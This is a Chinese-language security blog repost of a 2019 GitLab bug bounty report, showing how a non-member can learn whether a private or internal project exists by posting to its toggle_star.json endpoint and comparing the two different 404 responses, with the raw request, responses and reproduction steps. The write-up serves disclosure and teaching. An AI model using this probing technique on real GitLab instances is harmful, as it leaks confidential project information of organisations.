gitlab漏洞系列-私有项目信息泄露

admin 2022年5月3日14:40:37评论403 views字数 7144阅读23分48秒阅读模式

gitlab漏洞系列-私有项目信息泄露

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

背景

milindpurswani于2019年提交了这个漏洞: 在Gitlab中,我们有一个创建组的功能,并将它们的权限设置为公共/内部/私有。在测试时,发现用户可以通过生成的错误消息类型的差异来检查组中是否存在一个不是其中一员的项目。这个请求在/toggle_star.json接口上生成,当用户点击UI上的(*)(star)按钮时发送。

gitlab漏洞系列-私有项目信息泄露

例如,假设这里有两个用户A和B。

1.用户A:创建具有内部隐私的组,并部署项目。

2.在本例中,让我们假设用户A创建的组是chocolatecake,其url是 https://gitlab.com/chocolatecake。这个组的隐私设置应该是内部/私有的。

3.该用户创建了一个名为Choco Brownie Sundae的项目,url为https://gitlab.com/chocolatecake/choco-brownie-sundae。因此,我们注意到创建了一个带有slug chocolate -brownie-sundae的项目。

4.用户B:是一个恶意用户,他想知道ChocolateCake的组织是否在从事某个秘密项目,因此,他发送了以下请求,并根据响应的差异推断出一些信息。

POST /chocolatecake/choco-brownie-sundae/toggle_star.json HTTP/1.1  
Host: gitlab.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: application/json, text/plain, */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-CSRF-Token: REDACTED  
X-Requested-With: XMLHttpRequest  
DNT: 1  
Connection: close  
Cookie: REDACTED  
Content-Length: 0

响应:For Valid Project(表示该项目存在)

HTTP/1.1 404 Not Found  
Server: nginx  
Date: Mon, 10 Jun 2019 20:09:20 GMT  
Content-Type: application/json  
Content-Length: 0  
Connection: close  
Cache-Control: max-age=0, private, must-revalidate  
Pragma: no-cache  
X-Content-Type-Options: nosniff  
X-Frame-Options: DENY  
X-Request-Id: iKCIJhxyam  
X-Runtime: 0.059894  
X-Ua-Compatible: IE=edge  
X-Xss-Protection: 1; mode=block  
Content-Security-Policy: object-src 'none'; worker-src https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net https://gitlab.com blob:; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.gstatic.com/recaptcha/ https://apis.google.com; style-src 'self' 'unsafe-inline' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net; img-src * data: blob:; frame-src 'self' https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://content.googleapis.com https://content-compute.googleapis.com https://content-cloudbilling.googleapis.com https://content-cloudresourcemanager.googleapis.com https://*.codesandbox.io; frame-ancestors 'self'; connect-src 'self' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net wss://gitlab.com https://sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net

响应:For Invalid Project(意味着该项目不存在)

HTTP/1.1 404 Not Found  
Server: nginx  
Date: Mon, 10 Jun 2019 20:13:00 GMT  
Content-Type: text/html; charset=utf-8  
Content-Length: 3108  
Connection: close  
Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
Expires: Fri, 01 Jan 1990 00:00:00 GMT  
Pragma: no-cache  
X-Request-Id: 6vFQwUWj4V  
X-Runtime: 0.193010  
Content-Security-Policy: object-src 'none'; worker-src https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net https://gitlab.com blob:; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.gstatic.com/recaptcha/ https://apis.google.com; style-src 'self' 'unsafe-inline' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net; img-src * data: blob:; frame-src 'self' https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://content.googleapis.com https://content-compute.googleapis.com https://content-cloudbilling.googleapis.com https://content-cloudresourcemanager.googleapis.com https://*.codesandbox.io; frame-ancestors 'self'; connect-src 'self' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net wss://gitlab.com https://sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net

<!DOCTYPE html>  
<html>  
<head>  
  <meta content="width=device-width, initial-scale=1, maximum-scale=1" name="viewport">  
  <title>The page you're looking for could not be found (404)</title>  
  <style>  
    body {  
      color: #666;  
      text-align: center;  
      font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;  
      margin: auto;  
      font-size: 14px;  
    }

    h1 {  
      font-size: 56px;  
      line-height: 100px;  
      font-weight: 400;  
      color: #456;  
    }

    h2 {  
      font-size: 24px;  
      color: #666;  
      line-height: 1.5em;  
    }

    h3 {  
      color: #456;  
      font-size: 20px;  
      font-weight: 400;  
      line-height: 28px;  
    }

    hr {  
      max-width: 800px;  
      margin: 18px auto;  
      border: 0;  
      border-top: 1px solid #EEE;  
      border-bottom: 1px solid white;  
    }

    img {  
      max-width: 40vw;  
      display: block;  
      margin: 40px auto;  
    }

    a {  
      line-height: 100px;  
      font-weight: 400;  
      color: #4A8BEE;  
      font-size: 18px;  
      text-decoration: none;  
    }

    .container {  
      margin: auto 20px;  
    }

    .go-back {  
      display: none;  
    }

  </style>  
</head>

<body>  
  <a href="/">  
    <img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjEwIiBoZWlnaHQ9IjIxMCIgdmlld0JveD0iMCAwIDIxMCAyMTAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CiAgPHBhdGggZD0iTTEwNS4wNjE0IDIwMy42NTVsMzguNjQtMTE4LjkyMWgtNzcuMjhsMzguNjQgMTE4LjkyMXoiIGZpbGw9IiNlMjQzMjkiLz4KICA8cGF0aCBkPSJNMTA1LjA2MTQgMjAzLjY1NDhsLTM4LjY0LTExOC45MjFoLTU0LjE1M2w5Mi43OTMgMTE4LjkyMXoiIGZpbGw9IiNmYzZkMjYiLz4KICA8cGF0aCBkPSJNMTIuMjY4NSA4NC43MzQxbC0xMS43NDIgMzYuMTM5Yy0xLjA3MSAzLjI5Ni4xMDIgNi45MDcgMi45MDYgOC45NDRsMTAxLjYyOSA3My44MzgtOTIuNzkzLTExOC45MjF6IiBmaWxsPSIjZmNhMzI2Ii8+CiAgPHBhdGggZD0iTTEyLjI2ODUgODQuNzM0Mmg1NC4xNTNsLTIzLjI3My03MS42MjVjLTEuMTk3LTMuNjg2LTYuNDExLTMuNjg1LTcuNjA4IDBsLTIzLjI3MiA3MS42MjV6IiBmaWxsPSIjZTI0MzI5Ii8+CiAgPHBhdGggZD0iTTEwNS4wNjE0IDIwMy42NTQ4bDM4LjY0LTExOC45MjFoNTQuMTUzbC05Mi43OTMgMTE4LjkyMXoiIGZpbGw9IiNmYzZkMjYiLz4KICA8cGF0aCBkPSJNMTk3Ljg1NDQgODQuNzM0MWwxMS43NDIgMzYuMTM5YzEuMDcxIDMuMjk2LS4xMDIgNi45MDctMi45MDYgOC45NDRsLTEwMS42MjkgNzMuODM4IDkyLjc5My0xMTguOTIxeiIgZmlsbD0iI2ZjYTMyNiIvPgogIDxwYXRoIGQ9Ik0xOTcuODU0NCA4NC43MzQyaC01NC4xNTNsMjMuMjczLTcxLjYyNWMxLjE5Ny0zLjY4NiA2LjQxMS0zLjY4NSA3LjYwOCAwbDIzLjI3MiA3MS42MjV6IiBmaWxsPSIjZTI0MzI5Ii8+Cjwvc3ZnPgo="  
       alt="GitLab Logo" />  
  </a>  
  <h1>  
    404  
  </h1>  
  <div class="container">  
    <h3>The page could not be found or you don't have permission to view it.</h3>  
    <hr />  
    <p>The resource that you are attempting to access does not exist or you don't have the necessary permissions to view it.</p>  
    <p>Make sure the address is correct and that the page hasn't moved.</p>  
    <p>Please contact your GitLab administrator if you think this is a mistake.</p>  
    <a href="javascript:history.back()" class="js-go-back go-back">Go back</a>  
  </div>  
  <script>  
    (function () {  
      var goBack = document.querySelector('.js-go-back');

      if (history.length > 1) {  
        goBack.style.display = 'inline';  
      }  
    })();  
  </script>  
</body>  
</html>

可以看出,这两种响应在允许攻击者获取关于私有/内部项目的信息方面是不同的。因为,这对内部/私有项目都有效,对于带有内部组的私有项目,严重性相对较高,因为攻击者已经知道组名。

复现步骤

1.从用户a的帐户创建一个具有私有/内部隐私的项目。

2.使用用户B的账户,发送上述请求。

3.根据响应的差异,用户将能够提取关于项目存在的信息。

此漏洞获取500美刀


原文始发于微信公众号(迪哥讲事):gitlab漏洞系列-私有项目信息泄露

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月3日14:40:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   gitlab漏洞系列-私有项目信息泄露http://cn-sec.com/archives/970547.html

发表评论

匿名网友 填写信息